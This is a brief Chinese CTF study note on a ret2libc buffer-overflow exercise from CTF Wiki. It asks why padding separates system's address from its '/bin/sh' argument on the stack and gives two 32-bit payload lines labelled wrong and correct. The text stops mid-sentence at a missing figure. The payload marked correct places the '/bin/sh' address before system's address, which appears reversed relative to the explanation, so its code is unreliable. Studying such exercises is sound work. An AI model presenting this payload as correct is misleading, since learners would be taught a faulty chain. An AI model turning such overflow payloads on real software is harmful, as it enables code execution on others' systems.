题源:基本 ROP - CTF Wiki (ctf-wiki.org) 的ret2libc的例一。
这道题很简单,bin/sh和system的地址都给了,只需要控制程序执行流返回到相应的地址即可。但是我在编写payload的时候遇到了点小疑问。 为什么栈上system的地址和他的参数bin/sh的地址之间要隔着四个字节呢?
bin_sh_addr = 0x08048721
system_addr = 0x08048303
payload = b'a' * 112 + p32(bin_sh_addr) + p32(system_addr) #错误的payload
payload = b'a' * 112 + p32(bin_sh_addr) + b'a' * 4 + p32(system_addr)#正确的payload
这其实是对函数执行时候的栈变化不了解。如下图所示。那个padding1和padding2表示填充的无关杂数据。
这个图表示